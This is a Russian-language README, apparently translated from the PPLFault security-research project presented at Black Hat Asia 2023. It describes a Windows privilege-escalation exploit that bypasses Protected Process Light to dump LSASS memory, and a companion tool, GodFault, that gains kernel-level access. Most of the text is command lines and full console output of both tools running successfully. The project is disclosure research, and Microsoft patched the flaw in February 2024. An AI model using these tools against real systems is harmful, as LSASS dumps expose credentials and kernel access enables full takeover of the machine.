
Эксплойт повышения привилегий в Windows, использующий уязвимость TOCTOU в Code Integrity для обхода Protected Process Light, выполнения с правами WinTcb-Light и снятия дампа защищённых процессов (например, LSASS).
Автор: Gabriel Landau из Elastic Security.
Из доклада PPLdump Is Dead. Long Live PPLdump!, представленного на Black Hat Asia 2023.
PPLdump Is Dead. Long Live PPLdump!
ОБНОВЛЕНИЕ ОТ 2024-02: Microsoft исправила PPLFault 13 февраля 2024 года. См. эту ветку обсуждения.
Эксплуатирует TOCTOU-уязвимость в Windows Code Integrity для выполнения произвольного кода с правами WinTcb-Light и последующего создания дампа указанного процесса. Подробнее об эксплойте см. в моих слайдах и/или выступлении.
PS C:\Users\user\Desktop> cmd /c ver
Microsoft Windows [Version 10.0.25346.1001]
PS C:\Users\user\Desktop> tasklist | findstr lsass
lsass.exe 992 Services 0 76,620 K
PS C:\Users\user\Desktop> (Get-NtProcess -Access QueryLimitedInformation -Pid 992).Protection
Type Signer
---- ------
ProtectedLight Lsa
PS C:\Users\user\Desktop> dir *.dmp
PS C:\Users\user\Desktop> .\PPLFault.exe -v 992 lsass.dmp
[+] No cleanup necessary. Backup does not exist.
[+] GetShellcode: 528 bytes of shellcode written over DLL entrypoint
[+] Benign: C:\Windows\System32\EventAggregation.dll.bak
[+] Payload: C:\PPLFaultTemp\PPLFaultPayload.dll
[+] Placeholder: C:\PPLFaultTemp\EventAggregationPH.dll
[+] Acquired exclusive oplock to file: C:\Windows\System32\devobj.dll
[+] Ready. Spawning WinTcb.
[+] SpawnPPL: Waiting for child process to finish.
[+] FetchDataCallback called.
[+] Hydrating 90112 bytes at offset 0
[+] Switching to payload
[+] Emptying system working set
[+] Working set purged
[+] Give the memory manager a moment to think
[+] Hydrating 90112 PAYLOAD bytes at offset 0
[+] Dump saved to: lsass.dmp
[+] Dump is 74.9 MB
[+] Operation took 937 ms
PS C:\Users\user\Desktop> dir *.dmp
Directory: C:\Users\user\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/1/2023 11:18 AM 78581973 lsass.dmp
Эксплуатирует ту же TOCTOU-уязвимость, что и PPLFault. Однако вместо дампа процесса он мигрирует в CSRSS и эксплуатирует уязвимость в win32k!NtUserHardErrorControlCall из ANGRYORCHARD, чтобы понизить KTHREAD.PreviousMode с UserMode (1) до KernelMode (0). Он доказывает наличие доступа «God Mode», открывая \Device\PhysicalMemory, обычно недоступный из UserMode, с правами SECTION_ALL_ACCESS.
C:\Users\user\Desktop>GodFault.exe -v
[?] Server does not appear to be running. Attempting to install it...
[+] No cleanup necessary. Backup does not exist.
[+] GetShellcode: 2304 bytes of shellcode written over DLL entrypoint
[+] CSRSS PID is 772
[+] Benign: C:\Windows\System32\EventAggregation.dll.bak
[+] Payload: C:\GodFaultTemp\GodFaultPayload.dll
[+] Placeholder: C:\GodFaultTemp\EventAggregationPH.dll
[+] Acquired exclusive oplock to file: C:\Windows\System32\devobj.dll
[+] Testing initial ability to acquire PROCESS_ALL_ACCESS to System: Failure
[+] Ready. Spawning WinTcb.
[+] SpawnPPL: Waiting for child process to finish.
[+] FetchDataCallback called.
[+] Hydrating 90112 bytes at offset 0
[+] Switching to payload
[+] Emptying system working set
[+] Working set purged
[+] Give the memory manager a moment to think
[+] Hydrating 90112 PAYLOAD bytes at offset 0
[+] Thread 6248 (KTHREAD FFFFA283B0A62080) has been blessed
[+] Testing post-exploit ability to acquire PROCESS_ALL_ACCESS to System: Success
[+] Opened \Device\PhysicalMemory. Handle is 0x1b4
[+] Opened System process as PROCESS_ALL_ACCESS. Handle is 0x1c0
[+] Press any key to continue...
[+] No cleanup necessary. Backup does not exist.
PoC, который позволяет выполнять произвольный код с правами WinTcb-Light без CloudFilter API. См. python/README.md.
| Windows 11 22H2 22621.1702 (Май 2023) | Windows 11 Insider Canary 25346.1001 (Апрель 2023) | |
|---|---|---|
| PPLFault | ✔️ | ✔️ |
| GodFault | ✔️ | ❌ Защита PreviousMode в Insider приводит к багчекам |
PPLFault распространяется по лицензии ELv2. В нём используется phnt из SystemInformer под лицензией MIT.
Вдохновлено PPLdump от Clément Labro, который Microsoft закрыла в июле 2022 года.
ANGRYORCHARD был создан Austin Hudson, который выпустил его, когда Microsoft закрыла PPLdump.